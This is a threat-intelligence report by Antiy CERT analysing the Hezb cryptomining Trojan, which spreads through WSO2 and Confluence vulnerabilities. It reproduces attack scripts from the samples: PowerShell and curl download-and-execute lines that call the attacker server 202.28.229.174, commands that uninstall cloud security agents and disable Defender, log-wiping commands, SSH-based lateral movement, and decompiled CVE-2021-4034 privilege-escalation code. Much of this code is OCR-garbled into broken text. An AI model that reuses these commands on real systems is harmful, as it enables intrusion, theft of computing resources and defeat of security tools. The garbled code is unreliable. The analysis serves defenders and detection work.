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1 Overview

Since May 2022, Antiy CERT has successively captured the attack samples of Hezb mining Trojan, which was
mainly distributed in May using the WSO2 [1] RCE (CVE-2022-29464) vulnerability. The vulnerability is an
arbitrary file upload vulnerability that does not require authentication, allowing an unauthenticated attacker to obtain
an RCE on a WSO?2 server by uploading a malicious JSP file. Since details of Confluence [2] OGNL (CVE-2022-
26134) exploit were published, the Hezb mining Trojan has taken advantage of the exploit, which allows remote
attackers to spread without authentication, Construct OGNL expressions for injection, and implement execution of
arbitrary code on Confluence Server or Data Center. The above two kinds of vulnerabilities are third-party software
vulnerabilities, not system vulnerabilities, so servers targeted at enterprises are likely to spread, and timely updating

of WSO2 and Confluence patches can avoid infection of the mining Trojan.[!2]

At present, the mining Trojan is relatively active, and at the same time, it spreads malicious scripts to both Linux
and Windows platforms, downloads the Menlo coin mining program for mining, and uses the shell script to execute
the mining program on the Linux platform. In addition, the script will also eliminate the mining program for
competitive products, download other malicious scripts and create planned tasks; on the Windows platform, the bat
script will be used to execute the mining program; the other functions of the script are basically the same as those of

the shell script.

It has been proved that Windows and Linux versions of Antiy IEP can effectively detect and kill the Trojan

and effectively protect the user terminal.
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2 ATT&CK Mapping Map of Event

The attacker puts the mining Trojan horse against the target system,

Analysis of the Active Hezb Mining Trojan

and combs the ATT&CK mapping map

corresponding to this attack event as shown in the following figure.
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Figure 2-1 ATT&CK mapping map corresponding to events 2-1

The technical points used by the attacker are shown in the following table:

Table 2-1 Description of ATT&CK technical behavior corresponding to the event 2-1

ATT&CK stages /

categories

Reconnaissance
Initial access
Persistence

Right to
Submission

Defensive evasion

Credential Access

Specific behavior

Active scanning

Make use of public-facing
applications

Using command and script
interpreters

Utilization of planned tasks
/ jobs
Taking

advantage  of

loopholes to grant rights
Modify the registry

Confusion of documents or
information

Obtain credentials from the
the

location where

password is stored

Notes

Scanning for Confluence vulnerabilities

Take advantage of public-facing applications
such as Confluence

Use bat, PowerShell, and Shell scripts

Set scheduled tasks

Use the CVE-2021-4034 loophole to grant the
right

Delete the contents of the registry self-startup
key

Obfuscate the script code

Obtain credentials from locations such as SSH
keys, history, and configuration files
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Resource hijacking Utilization of system CPU resources

m Discovery Process Process of discovering competing products

3 Attack process

3.1 Attack process

The Hezb mining Trojan uses the bat script named "kill.bat" to execute its main functions on the Windows
platform, including ending the mining process of competitive products, executing Menlo coin mining and
downloading the script named "mad.bat." This script is a configuration file for the Menlo Coin mining program. In
the Linux platform, use a shell script called "ap. sh" to perform the main function, which is to download the curl tool,
It is convenient to download subsequent malicious scripts, end competitive mining procedures, move horizontally,
unload safety software, execute scripts named "ap.txt," download kik malicious samples, and execute mining

procedures.
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Figure 3-1 Attack flow 1
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3.2 Sample collation of attack events

The following information is obtained by sorting out the sample events according to the attack events:

Table 3-1 Sample collation of attack events 3-1

Detailed
Sample download address .
description

Hxxp [:] / / 202.28.229.174 / ap.sh Linux attack script
Hxxp [:] / / 202.28.229.174 / ap.txt Linux attack script
Hxxp [:] / / 202.28.229.174 / Idr.sh Linux attack script
Procedure for
Hxxp [] / / 202.28.229.174 / ko vulnerability
exploitation

. End the Competitive
Hxxp [:] / / 202.28.229.174 / kik
Product Procedure

. . Windows attack
Hxxp [:] / / 202.28.229.174 / win / kill.bat it
scrip

Hxxp [] / / 202.28.229.174 / win / ; :
Excavation profile

mad.bat

Hxxp [:] / / 202.28.229.174 / win / dom- Open-source mining
6.zip compression pack
Hxxp [] / / 202.28.229.174 / win / Open-source mining
dom.zip compression pack

Open-source mining
Hxxp [] / / 202.28.229.174 / xmag.tar.gz .
compression pack

Through correlation, we found a win directory in the sample download address, under which we found one
decompress software, two mining program packs, and two Windows attack scripts. It is determined that all samples

stored under this catalogue are related to mining under Windows.
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Index of /win

Name Last modified Size Description

« Parent Directory -

7za.exe 2022-06-06 17:12 638K
i dom-6.zip 2022-06-06 17:15 2.4M
Wi domzip 2022-06-06 17:13 3.3M
[?] killbat 2022-06-06 17:17 1.4K
[?] mad.bat 2022-06-06 17:17 12K t=T <

Apache/2.4.7 (Ubuntu) Server at 202.28.229.174 Port 80

Figure 3-2 All files in the win directory 3-2

Table 3-2 Pool and Wallet Addresses in Mining Scripts 3-2

Address of mine pool Wallet address

199.247.0.216 [1] 80 46hmqz11t8un84p8xgthrgxsy434vc7hnr8be4qrgtmiwadcdh2gkj2nxz6dr4

Gulfmonerocean.stream [] 10128 ~ byg6phnjhkyj1qfpzfywsveqgnrjn

According to the address records of the mine pool, at present, the average calculation power of the wallet is

about 540KH / s on the open source mining pool.

e ) 2 |
LMaL 15221 A € 4N e |z
0o 1588
o -

70 Warken SUNREA woun Q.08 DR (5L

Figure 3-3 Mining statistics record 3-3

4 Recommendations for protection
For illegal mining, Antiy suggests that the enterprise take the following protective measures:
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1. install terminal protection: Install anti-virus software, and for different platforms, it is suggested to install

Windows / Linux version of Antiy IEP;

2. strengthen the strength of SSH passwords: It is recommended to use 16-digit or longer passwords, including
combinations of upper and lower case letters, numbers and symbols, and avoid the use of the same password by

multiple servers;

3. update patches in time: It is suggested to activate the automatic update function and install system patches,

and update system patches in time for vulnerable parts such as servers, databases and middleware;

4. timely update third-party application patches: It is recommended to update third-party application patches

such as Confluence, Tomcat, WebLogic, JBoss, Redis, Hadoop and Apache Struts;

5. enable log: Enable the key log collection function (security log, system log, error log, access log, transmission

log and cookie log) to provide a foundation for the tracing and tracing of security events;
6. host machine reinforcement: Conduct penetration test and security reinforcement for the system,;

7. deploy intrusion detection system (IDS): Deploy traffic monitoring software or equipment to facilitate the
discovery, tracing and tracing of malicious codes. Taking network traffic as the detection and analysis object, the
Antiy Sea Threat Detection System (PTD) can accurately detect a mass of known malicious codes and network attack

activities, and effectively detect suspicious behaviors, assets and various unknown threats on the network;

8. security service: In case of malware attack, it is recommended to isolate the host computer and protect the

site and wait for the security engineer to check the computer; safety 7 * 24 service hotline: 400-840-9234.

It has been proved that both Windows and Linux versions of Antiy IEP can effectively check and kill the mining

program.
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GrayWare/Wint<.ColnMinerxmy(ASCammon)

Figure 4-2 Effective protection of Linux version of Antiy IEP2
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5 Sample analysis

5.1 Linux Sample Analysis

511 Ap.sh

Define sample download site and curl tool download address, configure curl tool parameters, and so on.

export. PATHESpATH L /t0Q: /b101 /ab1n) fusr /bl Juse/sbin: fust/Tocal mia  fusT/1ocal/soin  /tept /dev/stm
co=*
CURL_DONNLOAF URL=" L1l Ll b

zyr=h (Gate | mdlruniavk -v u' ‘§(ants oul Liprint ssbatr il 1, 03T«0) )]
A2 [ Sipz ~fwigrem Dash igewp vv greplws «1) +»q | 1:then

«xit
231
pkili ~% -1 rodolr
pr1lE -% ¥lk

functiom _ curlf) |
read proto pecver path G (eche #0M///7 1)
DO/
WRT
PO
11 2% (HCST|" == g* HTI™ 11 &6 FORTwHZ

axec no/.nwrcp/-/
ecko -on "Lt t o
(vnile Nad llm &
L B bind T 11 44 break
dome &4 cat) <&
axec |rb-
|

42 | -x “Jicussany Li1T )1 then
L= e
elif [ -x 61 WIeta ] thes
WERT="v] X
oles
PATR" ATH": cardd -V || __cotl * " . "> /uwrn---ut:\n/ curld: chmod +x. fuxpdtocylibins curld
PATR=" i r faarilocal/bin/ carld <V &6 WiRT=" t % H
PATE-" ¢ fast/local/ninf.cacl ~¥ || __curl * Wl WRLORY ¢ ‘> o) curld; sEabdvanr 1
PATE." ; e/ . curld -V A6 WIXTW N £
PRTE= o/ . cutld -v 1) curl L_IwRLoaD e » .curld; ehmsd e«x  curld
PATE=" a J.ocurld -y &8 w . C
PATES=" "1 JJ.ourld -V | v
PATE=" WY1 fvaritep/, ouzld -V A6 th"

v BL" > fvar/tep/ curld) chmod ex /var/tog/ .curld

Figure 5-1 Defining the download site and curl tool 5-1
End the process of excavation for competitive products.

a -rf dom: xm -rf a.sh: mm -cof ko

crontad ¢

crontad -lised '/'\.vastgo\ |pastebin jonlon’ Ibprofe thon/d lctmt.b -

cat Iptoc/nnu.nt:lm "iprint £3)'igrep P ‘/pz lgnp -Po +'|xaxrgs -1 & xill -5\
pe -l | grep -v grep | qm confssh | awk “(prinf 22:° | xaxgs -1 kill =% ()

ps -cf | grep -v grep | grep rodolf | awk 'Iprint " | xzaxgs ~i kill -4 ()

Ps -5f | grep -v grep | grep crunsr | awk '|point | xargs -1 kill -5 [)

ps ~ef | grep ~v yrap | grep /tmp | awk Cpoint ' | xarga -1 kill =% ()

netstat -antp | grep S1.217.U1.1€2 | awk '(|print 0U7)' | awk -F[/) ‘(print (1)) | xargs -1 kill -% ()
peill =% sioekiq

pkili -3 bashirc

prill -3 -f bashirc

pkill -4 -f my=gldd

pkill -3 -f radolf.ah

pkill =% -f RKinsing

pkill -5 -f rodelf

pEL1l -3 ~f 2abexec

pkill -3 -f earig

pkill -5 -f attack

P11l % «f dovecat

pkill <9 -f javae

pkill -5 -f donate

prill =% -f 'soa log!

pkill -% -f xmr-stak

p¥lll -5 -F crondéq

pklll <4 -f stratum

pkill -3 -£ /top/java o i
pkill ~% - pastabin s H *

Figure 5-2 End competitive excavation sequence 2
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Uninstall the security software.

if [ $(id -u) -2gq 0 ]; then
if ps aux|grep -i "[ajll ": then
curl mwmmwmmmmmmmwxmmn

curl http://update.aegis.aliyun.com/download/qguartz uninstall.shibash
pkill aliyun-service

m -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service fusr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y

elif ps auxigrep -1 "[yjuniing”; then
/usr/local/qgcloud/stargate/admin/uninstall.sh
/usr/local/gelond/YunJing/uninst, sh

/usr/local/qcloud/monitor/barad/admin/uninstall.sh e *
£1 oy = 4
£i
a=$§ (nproc | grep -v nproc)
b=4

Figure 5-3 Uninstall security software 3

Define the address of the mine pool, execute the ap. txt script and mining program and name it hezb.

Af [ "Z3® -gt “Su" 1! thea
minsr=" c235T 4%
else
miners” 6.251 2 ¢
49
Ps -!-lq:ep he.blqzep “v grep 12 [ 57 =ne 0 ) thea
mas=" 5
sum=§ (nd5sun hezb | lvk 4 ) pn.nt $1 )")
i€ [ *(2ciS* = "Jnum”® ]; then
chmod +x helb: nobup herb niner -k -B 1>/dev/null D61 &
PATR="_:CPATH": get fcc/ap.txt Jays: pohup lays 1>/dev/null 7>61 &
else -
FATH=" . :CFATH") get Sco/ap.txt fays: mohup fmya I1>/dav/null 2>E! & - ""'ﬁ
PATHS" SVATU": get fec/sys.S(uname -m) hezb: chmod +x hezd: nobup heib Sminer K =® 5!3 =ull 2>&1 &
1

1

Figure 5-4 Nomenclature of excavation procedure hezb

Search and match the SSH keys, history records and configuration files stored in hosts such as / .ssh /
config, .bash _ history, / .ssh / known _ hosts to find the attack target. Find the corresponding authentication

information, and check ~ /. Ssh / config, ~ /. Bash _ history, and. Ssh / known _ hosts to try to move sideways.

M -20 TNV UNIFT Jtap/ . eotlay /e

m -t fvarstepdt JLEQl * JURQST [Wats NLIPS Fayw ALy

chuod -ty /iwpl . desting/* g/ deatiog

FEYI=5(find «/ /root /booe ‘maxdepth 2 czase (18 caet'igoep covw pub)

IRYIDwG (cat -/ . asdfcanfig /home/t/ . sak/config froot/.ssh/coafigigrep lSantityFile|ssk <F *IsentityPile” 'jpeint 32 | ')

FEVI3 1304 ~/ Jroot [howe ‘maafepth 1 -paee ' pe fmnig)

MOOTImd (aat </ as/conutiy /home /) seh/oanfly /rost) ssh/coafig(grep Nostiame lavk ~F “Bastiams *(peant 821 )

LA BLATORY Jhames// Bash BLsTory Srost/ Dash BASTAry igeap € Cleehioogh tigrep -ur SLIS-SIIL NS O IR-RLIL, BT
A0S D ten Mt Shuien St/ AN ADeni_tea e oot/ AR B _heataigrep o ISR OLNN DI ISR 0T el

-.nn seut

find «/ [ecot [reme cmaxdepth I cneme ) ask juntgizargs fizdiask id rasdlewk T/ fprizt 03] ' jumigigeep v *Lam*
)
wawravd (ncho fUaEERity | \nijnkisert <o <k {surt -nlewt -23-)

BOFTa™) [8cha “ANUETS ENSETE) JRCETHRC (quep -vw L2T. 0.0 Litr ¢ TAalinlisset -4 K sart -niewt -23-)
hoyang ieehs EEREYS SREYED EEETEICILE ‘Antinkivert -u A3 lsort ~nlowt ~£1-}
for L2OC M Muns s
gor hott in jf ]
o 3o = § S
chaod 41 4 »
13k “eOtzictilastayC hlcklut‘n: sclatciiodomyas rofomnectTimmouret <3 fhe saz8 2
doce
Ao

Figure 5-5 Transverse movement
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Get the kik web address and execute.

pkill -9 kik

PATH=".:5PATH"; get Scc/kik "kik"; nohup "kik" 1>/dev/null 2>&l &
echo 0>/var/spool/mail/root

echo 0>/var/log/wtmp

echo 0>/var/log/secure .

echo 0>/var/log/cron SR

Figure 5-6 Executing a kik

512  Ap.txt

Check to see if hezb exists for the current process, and if not, download the 1dr. sh script.

LUp=

12 | -a fusr/ols/cutl | than
LUF=
1
12 | -5 /urr/bin/wgot ) then
Lb#=
11
whils trus
da
Pe wurt grep ¥ hezh | swk | xmzgs <3 kill 4
P aut | grep v qIvg | gTep *v ' | gewp vv iosk | grep | ke xargs 1 alll "
Po aut | grep v qrep | gsep -V | geap ~v iosk | grep | awk | xargs -1 kill =5 |)
po grep -~V qriep | grep -V | gzep ~v losk | grep | awk sargs -1 k111 -0 )
VrRoC_mayet=he ok
Procuedo = ps -ef |grep -w IFNOC_MAMEigrep -V grepiwe -1
i€ [ & i ] ichen
Af hash O v/noll (then
ourl b sl 22207444035 | bash >/devinull 2341 &
xiil
else
» haspots {ldr.ab | bash >/dev/niull 261 &
LS 384
£ =iy
. = S
£1
dane
Figure 5-7 Download the 1dr. sh script 5-4
513 Ldrsh

The Idr. Sh script is basically the same code as the ap. Sh script, except that the mine address and the wallet

address have been modified, presumably to a later version of the ap. Sh script.

AL [ S(uname = == x50 ¢4 ), then
niner= 3

elif [ J(umame -m) == amv7l ] then
m -zt ¢
niners

wllf [ dfusase -m) == Jarchéd ]: thes
niner=" i

3 ) o
olse — *
ninere " ¥ N i I b ﬂ

£1

Figure 5-8 Mine pool address and wallet address 5
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514 Ko

The binary program is judged to be CVE-2021-4034 vulnerability exploiting program, and the local authority

of pkexec will be enhanced after successfully exploiting the vulnerability. The program exploit code is consistent

with the code on GitHub.

st = Creat] “GIONY_PATre. /. Dk

= _ readfsquword(@x28u);
if ( shdir("SCOMV_PATH=.", @x1FFu) == -1 84 *_errnc_location() != 17 )

exec”, ©77))

( res o mealy (ahenel”
perror(“Faliled to create directory”);
_!li';(l); D = S0pan(T DRExel [ PLo mabulad”, Twe")y
) LY (%0 == s )
crest("GCONV_PATH=, /.pkexec”, @xdFFu);
mkdir(".pkexec™, 8xiFFu); b e R cE
¢ = fopen(”.pkexec/gconv-modules”, “ws"); exit(1);
if ( lstress ) ‘
{ if (fouts(motule UTP-8// PEIXEC// peexed 3%, fp) « @
perror(“Failed ta open output file");
_exit(l); perrar(“Failec %o write config™);
exit(1);
if ( fputs(“module UTF-B// PKEXEC// pkexec 2%, =am) € 0)
{ Folcselsp)l
perror(“Failed to write config™);
_exit(l); puf[reanline(“/preciselfiens”, ¥, slrecf(ouf))] =
) res K(OuF, “.puexec/piexec.30*)]
fclose(strean);

f{readlink("/proc/self/exe”, buf, Exi000ull)] = ©;
if ( symlink(buf, ".pkexec/pkexec.s0") == -1 )

{ perrar{“Failee to 220y ¢
witil);
perror{~Failed to copy file"); :
it(1);
} =) IDA Pro
sipe(sipesec);
if ( 1fork() )
{
close(pipedesl]);
flread(pipedes[8], vui, OxFFFuLl)] = @;
if ( strstr(buf, “pkexec --verzion"™) == byt )
{
puts(“Exploit failed. Target is most likely patched.™);
rerf ("GCONV_PATH=."); puts(” it Falled
rerf(".pkexec®); -
exitie): rerFl " plaxec”) |

Figure 5-9 CVE-2021-4034 Vulnerability Utilization 6

515 Kik

Github

® wf)-11) « 0
ut)
Targes 15 most likely patched,”

The binary tries to match a particular value, excluding other values and pipes the result to "kill - 9." Execute in

a loop, printing "Command Successfully Executed" to standard output.

©Antiy All Rights Reserved. Reprint without loss is welcome
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while ( (wnsigned int)8out <o *( QR0 *)_ readfsqword{@xrrrrrrrauLt) )
runtime_sorestack®d();
while ( 2LL )
{
0w (intad)*(Bproc_to_kill + 1LL); I/ ‘ps sux | grep -v grep | grep -v “,27h,'200.18,2329.174° ,27h," | gr'
17 A ‘ep - *,37h,'19 86,270, | grep ov tL,3TH,102.227.94° ,27h, " ¢
[/ db '| grep -v iosk | grep -v gdmst | grep ',27h, "curl',27n, ank ‘L, 2Th
// db ‘(print $2)',27h," | xergs -i ki1l -3 (}; ps sux | grep -v grep | °
fdb grep -v L 27h, 202, 28.220,104° I, " | grep ov L 27h, 192,157,067, 20N
//de ' | grep ov losk | grep <v gaemt | grep L27h, ‘uget’ 270" | ek *L27H
// do '{pcint $2}'.,27h,° xorgs -1 kill -9 (}; ps sax | grep -v *,27h,'2°
// db '02.28.229.174",27h," | grep -v goep | grep -v ',I7h,'192.1%7.86',2%
I/ de ' | grep v losk | grep -v glemd | grep 27k, ‘urlopen’ 30, | aw'
/745 kT2, {print $23° 270, " | xacgs -1 KiLD 49 ()

weeset(. 10, OLL, sizeof(vii));
i" ( .: (_Owoln *)-208LL )

LifewL] - &
qrescpy (1), wain_statictep 8002, sizeof(v11));

o
l.orray = (»iring 3 £l pelley *

i P aNAIT H
H -2;

I- array + ILL;
12, 0rray[ILL] ats = (uintll *)proc_to_kill;

{oLL] « “mash™;
Jofeel] & 1LL) = *(RefF_4CC570 + 1LL);
) TIRC[ALL] = il array;
Mcfite] « L) = 20

*Mcf2ee] = 2L
L] 4 ILL) = os_exec_Command((string)e{®L], *(__string “)8:{1AL]);
*(cwtyal 23 “Y((har *)c v BLL) = os_exec_ ptr Ced_ Output{*((os_ss=sc_Ced "")Ac[2LL]) + 21L))3
ut.array = (uints *)*((_QwofD *)acfeLL) + ELL);
*{ owmD *)8out.len = c{ILLY;

(R

Figure 5-10 End part of the process

5.2 Analysis of Windows Samples

521 Killbat

End the competitive mining process, end the program named network(02. exe under the directory of% TEMP%

and% APPDATA%, and delete "Run2" and "Run" under the registry boot.

flecho off
powershsll -c "Set-MpPreference -DisableRealtimeMonitoring Strue"

taskkill /IM logback.exe /f

taskkill /IM network(2.exe /f

taskikill /IM ws_TomcatService.exs /f

taskkill /IM explorer.exe /f

del “TEMPY\networkd2.exe

‘AFPDATAY \network02.exe

5 DELETE "HKEY CURRENT USER\SCFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run2" /f
DELETE "HKEY CURRENT_ USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run®* /f

DELETE "HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentvVersionjfan®’ .H%Z' /£
DELETE "HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion{Hunfm Serfaii® /f

Figure 5-11 End the competitive excavation process 5-7

Check if the excavation process is in operation.
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IF EXIST "%USERPROFILE%\dom" (
GOTO existl

) else (
goto add it

)

rexistl
tasklist /fi "imagename eq dom.exe" | find ":"™ >NUL
if not %errorlevel: = 0 (

echo now is running

exit /b 1

)
echo [*] Starting dom miner service
"$USERPROFILE%\dom\dsm.exe" start dom miner
if errorlevel 0 (

echo ERROR: Can't start dom miner service

)

iexist2
tasklist /fi "imagename eq dom.exe" | find ":" >NUL
if not %errorlevels == 0 (
echo now is running
exit /b 1
)
radd it

echo form existl

Figure 5-12 Check if the mining program is running 5-8

Download the mad. bat script to perform subsequent functions.

echo form existl

powershell -Command "Swc = New-Object System.Net.WebClient;
stempfile = [System.IO.Path]::GetTempFileName () ;

stempfile += '.bat';

swo.DownloadFile ("http://202.28.229.174/win/mad.bat', Stempfile);
& Stempfile ;

Remove-Item -Force Stempfile”

Figure 5-13 Downloading the mad. bat script 5-9

5.2.2 Mad.bat

Mad. bat is the initial default script for MoneroOcean mining, adding the attacker's wallet address and sample

download directory.
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set VERSION=2.9
rer printing ygrestings

echo MoneroCeean mining setup acript viVERIIoN:.
echo *{please report issuez to =upportfmoneroocean.strean email”)
echo.

met session >mul I>él
Af terroxlevells = [ (set ADMIN=]) else (set AIMIN=0)

ten command line argunents

sat NALLET=46AnQz11tIuNS4PEXgTREQXSTRA I4VCThRNREDL4QrGTIMINACDH2GKIZNNXE 604D YQEphNIHR Y T1QIpZRBFYWSVEQNRIN
[ram this one ia optional

‘set EMAIL=4Z

set =it H

ren checking prerequisites

4f (wNALIETS) == (] ¢
echo Script usage:

echo *> setup_dom miner.bat *<wallet address*> [*<your &mall address*s] ﬂ_(,,_.__
echo ERROR: Please specify your vallet address @«m} ﬁ *.
exit /b 1

"

Figure 5-14 Mining program configuration file 10

»

10Cs

loCs

B954cba4c2a5ed68ce8ac88bf4aad84d

19827 AF3181C12EE7A89C5EE51F254E2C

F7da4506e638185af1f1b2fe30a2e9d2

106.251.252.226

Hxxp [] / / 202.28.229.174 / ap.sh

Hxxp [:] / / 202.28.229.174 / Idr.sh

Hxxp [:] / / 202.28.229.174 / kik

Hxxp [:] / / 202.28.229.174 / win / mad.bat

N
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Hxxp [:] / / 202.28.229.174 / win / dom.zip

Hxxp [:] / / 202.28.229.174 / xmag.tar.gz

Appendix I: Reference

[1] Wso2

https: / / baike.baidu.com / item / WSO2 / 3745730? Fr = aladdin

[2] Confluence

https: / / baike.baidu.com / item / confection / 452961? Fr = aladdin
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Appendix I1: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.
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Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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